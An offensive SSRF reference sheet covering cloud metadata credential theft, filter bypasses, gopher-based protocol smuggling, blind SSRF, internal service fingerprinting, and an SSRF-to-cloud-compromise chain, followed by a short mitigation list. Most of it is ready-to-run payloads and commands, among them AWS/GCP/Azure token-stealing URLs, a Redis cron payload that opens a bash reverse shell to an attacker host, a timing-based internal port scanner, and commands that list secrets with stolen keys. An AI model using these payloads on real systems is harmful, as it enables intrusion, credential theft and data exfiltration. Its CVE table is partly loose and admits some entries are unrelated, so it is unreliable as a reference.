SSRF — Cloud Metadata, Blind, Filter Bypass

SSRF turns a web app into an attacker's proxy into internal networks and cloud metadata. In 2019 SSRF leaked Capital One's customer data. In 2024 SSRF was in the initial foothold for multiple Ivanti / Confluence / SAP exploitation chains. Modern cloud stacks turn "the server can make a request" into "the attacker has the server's credentials" via one HTTP GET. This note is the working reference.


Where to Look

Any parameter whose value is a URL, or that the server fetches something based on:

?url=  ?image=  ?file=  ?path=  ?src=  ?fetch=  ?proxy=  ?load=
?callback=  ?redirect=  ?next=  ?return=  ?import=  ?link=
?wsdl=  ?xml=  ?feed=  ?host=  ?page=  ?webhook=

Common higher-level features that often hide SSRF:

  • Avatar / profile-picture "upload from URL"
  • Webhook configuration (Slack, Discord, custom)
  • PDF generator / HTML-to-PDF services
  • Image manipulation / thumbnail generator
  • Markdown renderer with remote image support
  • OAuth / OpenID redirect_uri, SAML AssertionConsumerServiceURL
  • Server-side markdown preview
  • RSS / Atom feed reader
  • WebDAV / XML sitemap importer
  • URL-health-check endpoints
  • Link previews (unfurl)
  • Webhook retries
  • OpenGraph preview in messaging apps
  • Shortlink / redirect services

First Probes

Does the server actually fetch it?

# Start a listener
interactsh-client -v
# → A_UNIQUE_SUBDOMAIN.oast.pro

# Or use a free Burp Collaborator client

Then push the collaborator URL through every candidate parameter:

curl "$TARGET/fetch?url=http://ID.oast.pro/ping"

Anything that shows up in your collaborator log is SSRF-capable. Watch for:

  • HTTP hit from a cloud IP → app is running in AWS/GCP/Azure — chase metadata next.
  • DNS lookup with no HTTP → server resolves but a policy denied the fetch — partial SSRF, often bypassable.
  • Multiple lookups → crawler / unfurl / preview pipeline — you hit a queue, not a single request.
  • User-Agent banner → tells you the library (wkhtmltopdf, headless chrome, curl, python requests, OkHttp).

Reflection vs. blind

# Reflected — response body shows the fetched content
curl "$TARGET/fetch?url=http://example.com/"
# Expect to see example.com HTML in the response.

# Blind — no content in the response, detection is OOB only

Reflected SSRF is massively more powerful because you get to read internal HTTP responses.


Cloud Metadata Endpoints

The payloads below are the single most valuable SSRF targets. If the target is in the cloud and the metadata endpoint is reachable, you almost always walk away with temporary credentials.

AWS — IMDSv1 (legacy, still common)

# Instance identity
curl "$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/"

# IAM role name
curl "$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# Credentials
curl "$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME"

# Returns:
# {
#   "Code": "Success",
#   "AccessKeyId": "ASIA...",
#   "SecretAccessKey": "...",
#   "Token": "..."
# }

Then use the creds from your workstation:

export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

aws sts get-caller-identity
aws s3 ls
aws iam list-users

AWS — IMDSv2 (token-based, enforced by default on new instances)

IMDSv2 requires a PUT with a session token:

TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

If the SSRF primitive is only GET, IMDSv2 blocks you — unless the endpoint accepts arbitrary methods or headers you can inject. Notable bypasses:

  • SSRF through a library that follows 307/308 redirects and preserves method → server-side PUT possible
  • SSRF that lets you set X-aws-ec2-metadata-token-ttl-seconds via CRLF injection

In 2024 AWS shipped IMDSv2-required as a default for new AMIs — still many long-running workloads on v1.

GCP

curl "$TARGET/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
     -H "Metadata-Flavor: Google"

# Without the header, GCP refuses. If the SSRF can't inject headers, try:
curl "$TARGET/fetch?url=http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token"
# v1beta1 does NOT require the header on older GCE releases

GCP tokens come as OAuth bearer tokens — use directly with gcloud:

gcloud auth application-default print-access-token    # swap in the leaked token
curl -H "Authorization: Bearer $TOKEN" https://www.googleapis.com/compute/v1/projects/PROJECT/zones/ZONE/instances

Azure

curl "$TARGET/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01" \
     -H "Metadata: true"

curl "$TARGET/fetch?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
     -H "Metadata: true"

The returned JWT is a managed-identity token — use with az rest or direct REST calls.

DigitalOcean

http://169.254.169.254/metadata/v1/

Oracle Cloud

http://169.254.169.254/opc/v1/instance/
http://169.254.169.254/opc/v2/instance/

Oracle v2 requires Authorization: Bearer Oracle.

Alibaba Cloud

http://100.100.100.200/latest/meta-data/

Kubernetes pod

If the SSRF lands inside a Kubernetes pod, the service account token is at a fixed path:

file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
file:///var/run/secrets/kubernetes.io/serviceaccount/namespace

Combined with an SSRF that supports file://, the token is yours. Then:

curl -k -H "Authorization: Bearer $TOKEN" \
  https://kubernetes.default.svc/api/v1/namespaces/default/pods

If there's a cluster-admin binding (common on misconfigured shared tenants), you own the cluster.


Filter Bypass

Defenders try to block metadata IPs / private ranges. Here's how filters fail.

IP representation tricks

Filter checks for 169.254.169.254 as a string. Bypass:

# Decimal
http://2852039166/

# Hex
http://0xA9FEA9FE/

# Octal
http://0251.0376.0251.0376/
http://0251.00376.00251.00376/

# Dotted-decimal with leading zeros
http://169.00254.169.254/
http://169.0254.169.00254/

# Mixed formats
http://0xA9.0376.43518/
http://0xA9.0xFE.0xA9.0xFE/

# Short form (some parsers)
http://0/                       → 0.0.0.0 → localhost on some stacks
http://127.1/
http://127.0.0.0x1/

# IPv6
http://[::ffff:169.254.169.254]/
http://[0:0:0:0:0:ffff:a9fe:a9fe]/

Python-based filters built on socket.inet_aton accept most of the above. Go's net package is stricter.

DNS rebinding

Filter resolves hostname once, checks the IP is public, passes the fetch through. Attacker's DNS returns a public IP first, then 169.254.169.254 on the next lookup. The server resolves twice (first check, then actual fetch).

Set up:

# 1. Register a.ns1.attacker.tld with TTL 0
# 2. First lookup: return 54.0.0.1 (a real public IP)
# 3. Second lookup: return 169.254.169.254

# Tools:
# https://github.com/taviso/rbndr   — free rebinder service
# https://lock.cmpxchg8b.com/rebinder.html  — web UI
# Custom: use a DNS server like BIND or dnsmasq with rrtype=A and randomised A records

Payload:

?url=http://7f000001.a9fea9fe.rbndr.us/latest/meta-data/

rbndr.us randomises between the two encoded IPs on each lookup. With two fetches you hit metadata half the time — enough for stealing creds.

URL parser confusion

Different URL parsers disagree about what an URL means. Exploit the gap.

# userinfo trick — parser treats first @ as credentials, last @ as host
http://attacker.tld@169.254.169.254/
http://169.254.169.254#@attacker.tld/
http://169.254.169.254/@attacker.tld
http://attacker.tld\@169.254.169.254/
http://[::1]:80@attacker.tld/

# Fragment vs. path
http://attacker.tld/#@169.254.169.254/latest/meta-data/

# Backslash / forwardslash confusion (pre-WHATWG parsers)
http:\/\/169.254.169.254/
http:\\169.254.169.254\

Libraries to look up in the target's stack: Python urllib.parse, Go net/url, Node url (new vs legacy), Java URL vs URI, PHP parse_url, Rust url crate. The classic SSRF chain is the parser-vs-client disagreement: the validator sees attacker.tld, the HTTP client connects to 169.254.169.254.

Redirect-based bypass

Server validates the URL (it's https://attacker.tld/redirect) and fetches. Your server returns:

HTTP/1.1 302 Found
Location: http://169.254.169.254/latest/meta-data/

If the HTTP client follows redirects without re-validating, you win.

# Python flask redirector to chain SSRF
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/r')
def r():
    return redirect('http://169.254.169.254/latest/meta-data/', code=307)

Scheme bypass

Filter allows only http:// and https://. Try every other scheme the library implements:

file:///etc/passwd
file:///proc/self/environ
file:///proc/self/cwd/config.yml
gopher://127.0.0.1:6379/_INFO             ← Redis
gopher://127.0.0.1:11211/_stats           ← Memcached
dict://127.0.0.1:11211/stats
ldap://127.0.0.1/
tftp://127.0.0.1/file
ftp://127.0.0.1/
ssh2://user:pass@127.0.0.1/
smb://127.0.0.1/share/
php://filter/convert.base64-encode/resource=config.php
jar:http://attacker.tld!/file              ← Java
netdoc:///etc/passwd                        ← Java
zip:http://attacker.tld/x.zip!/a            ← PHP with ext enabled
expect://id                                 ← PHP when expect:// wrapper loaded

file:// + /proc/self/environ often leaks env vars (DB passwords, API keys).


Gopher — Turn GET into Arbitrary TCP

gopher://host:port/_RAWBYTES sends RAWBYTES as a TCP payload to host:port. If SSRF allows the gopher: scheme, you can speak arbitrary protocols: Redis, Memcached, SMTP, internal HTTP POST, MySQL, FastCGI.

Redis RCE via gopher

# Classic Redis unauth → RCE chain:
#   1. CONFIG SET dir /var/spool/cron/
#   2. CONFIG SET dbfilename root
#   3. SET x "\n\n* * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker/4444 0>&1'\n\n"
#   4. SAVE

# Generate the gopher payload with a helper
git clone https://github.com/tarunkant/Gopherus
python2 gopherus.py --exploit redis
# → gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0A...

Feed to the SSRF:

curl "$TARGET/fetch?url=gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0A..."

SMTP spoofing via gopher

gopher://internal.mail:25/_HELO%20attacker.tld%0D%0AMAIL%20FROM%3A...

SSRF → internal HTTP POST

gopher://internal-api:8080/_POST%20/internal/delete%20HTTP/1.1%0D%0AHost%3A%20internal%0D%0AContent-Length%3A%200%0D%0A%0D%0A

Gopher is an SSRF multiplier. If it's available, you have TCP.


Blind SSRF

No response body, no error message. Detection is OOB or timing.

OOB

Interactsh / Burp Collaborator as above. Every hit is proof.

Timing

If the OOB channel is firewalled, time the response:

# Internal host that exists — fast TCP handshake
time curl "$TARGET/fetch?url=http://10.0.0.1:80/"

# Internal host that doesn't exist — timeout
time curl "$TARGET/fetch?url=http://10.0.0.99:80/"

Millisecond-level differences tell you the host is reachable (or not). Build a port scanner:

import requests, time
for ip in [f'10.0.0.{i}' for i in range(1,255)]:
    for port in [22, 80, 443, 3306, 5432, 6379, 8080, 8443]:
        t0 = time.time()
        requests.get(f'https://target/fetch', params={'url': f'http://{ip}:{port}/'}, timeout=10)
        dt = time.time() - t0
        if dt < 1.0:
            print(f'{ip}:{port} open')
        elif dt > 9.0:
            print(f'{ip}:{port} filtered')

Slow, noisy, but effective when OOB is blocked.

DNS-only blind SSRF

If the SSRF allows hostname but the TCP egress is blocked, DNS lookups still happen:

?url=http://secret-token.$(hostname -I).attacker.tld

Wait — no, hostname interpolation doesn't work server-side. But subdomain wildcards with attacker's DNS do:

?url=http://%s.attacker.tld

where %s is the data you're trying to extract — if the server resolves it, your DNS server logs it.


Common Internal Service Fingerprints

Once you've got SSRF that can hit internal IPs, these ports pay the biggest dividends:

PortServiceDefault state
22SSHBanner grab only (no RCE via SSRF)
80, 8080, 8000Internal HTTP (dev tools, admin panels)Jackpot
443, 8443Internal HTTPSSame
3306MySQLBanner only, gopher gets you further
5432PostgreSQLSame
6379RedisUnauth RCE via gopher (most common in CTFs / real apps)
11211MemcachedData reads via gopher
2375Docker APIUnauth → full host RCE
2379etcdKey-value store, often unauth
5000Docker registryImage pulls / metadata
8080Jenkins / TomcatAuth bypass + script console
9200ElasticsearchUnauth query, sensitive data
15672RabbitMQ managementAdmin auth often guest/guest
8500, 8600ConsulService discovery, KV
4243, 4244Docker SwarmSame as 2375 class
# Quick fingerprint via reflected SSRF
for p in 22 80 443 2375 6379 8080 9200 15672; do
  echo "=== $p ==="
  curl -s "$TARGET/fetch?url=http://127.0.0.1:$p/"
done

Recent SSRF CVEs

CVEProductImpact
CVE-2019-0708 (not SSRF, noise)
CVE-2021-26855Exchange ProxylogonSSRF chain to RCE — mass exploited
CVE-2021-40539Zoho ManageEngine ADSelfService PlusSSRF used in initial access
CVE-2022-26134Confluence OGNLRelated class, pair with SSRF
CVE-2023-22515Confluence Data CenterPrivesc with SSRF-adjacent primitives
CVE-2023-46604Apache ActiveMQUnauth RCE, not SSRF but commonly paired
CVE-2024-3400PAN-OS GlobalProtectCommand injection, SSRF pivot to internal
CVE-2024-21893Ivanti Connect Secure SAMLSSRF bypass allowing unauth → auth
CVE-2024-28987SolarWinds Web Help DeskSSRF into hardcoded creds
CVE-2024-29847Ivanti EPMDeserialisation, paired with SSRF in chain
CVE-2024-45195Apache OFBizPath confusion → SSRF → RCE
CVE-2025-1974Ingress-NGINX ControllerConfig injection chain ("IngressNightmare"), SSRF is one of the pivot stages
CVE-2019-5418 (classic)Rails file disclosureTemplate path injection reaches file:// reads, SSRF-adjacent
CVE-2022-1388F5 BIG-IP iControlAuth bypass, SSRF-style

Two trends from 2023–2025:

  1. Gateway / VPN appliances (Ivanti, F5, Fortinet, Palo Alto) ship with internal HTTP APIs reachable via SSRF primitives — every month there's a new one.
  2. Kubernetes ingress / service mesh misconfigurations convert localhost SSRF into cross-namespace access.

Real-World SSRF → Full Compromise Chain

Baseline shape: SSRF → cloud metadata → IAM creds → privilege escalation → data exfil.

# Step 1 — leak IAM credentials
curl "$TARGET/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role"
# {AccessKeyId: ASIA..., SecretAccessKey: ..., Token: ...}

# Step 2 — configure
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

# Step 3 — enumerate what the role can do
aws sts get-caller-identity
aws iam get-account-authorization-details 2>/dev/null  # often denied
aws iam list-attached-role-policies --role-name ec2-role
for p in $(aws iam list-attached-role-policies --role-name ec2-role --query 'AttachedPolicies[].PolicyArn' --output text); do
  aws iam get-policy-version --policy-arn $p --version-id v1
done

# Step 4 — classic pivots
aws s3 ls
aws ec2 describe-instances
aws rds describe-db-instances
aws secretsmanager list-secrets
aws ssm get-parameters-by-path --path /prod --recursive
aws lambda list-functions                 # code review for more creds

Separate note: a seemingly low-privilege ec2:DescribeInstances role can be the stepping stone to extracting user-data scripts, which almost always contain hardcoded secrets.


Mitigation Patterns to Recommend

  • Deny-by-default egress on the backend — only whitelist exact target domains for features that legitimately need them.
  • IMDSv2 required on every EC2 (or kill IMDS completely when possible).
  • PodSecurity / ServiceAccount scoping on Kubernetes — no cluster-admin bindings for web pods.
  • Two-step URL validation — resolve the hostname once to an IP, check the IP against the block list, then pass the IP (not the hostname) to the HTTP client so it can't re-resolve. Libraries like requests don't do this by default.
  • Disable unused URL schemes in the HTTP library (file://, ftp://, gopher://, dict://).
  • Header filtering — strip Metadata: / X-aws-ec2-metadata-token from cloud-fetched resources.
  • Network segmentation — metadata service can't reach the web tier from an egress gateway → no SSRF harvest.

Quick Reference

# Every SSRF engagement, first five payloads
curl "$TARGET/?url=http://ID.oast.pro/1"
curl "$TARGET/?url=http://169.254.169.254/latest/meta-data/"
curl "$TARGET/?url=file:///etc/passwd"
curl "$TARGET/?url=gopher://127.0.0.1:6379/_INFO"
curl "$TARGET/?url=http://127.0.0.1:8500/v1/kv/?recurse"     # Consul

# Cloud enum once you have metadata
aws sts get-caller-identity
aws iam list-attached-role-policies --role-name ROLE
aws s3 ls
aws secretsmanager list-secrets --max-results 100

# Gopherus — turn one fetch into Redis RCE
gopherus --exploit redis
gopherus --exploit mysql
gopherus --exploit fastcgi
gopherus --exploit postgresql
gopherus --exploit smtp

Pairs with RCE and XXE — XXE especially, because XXE is SSRF in another shirt.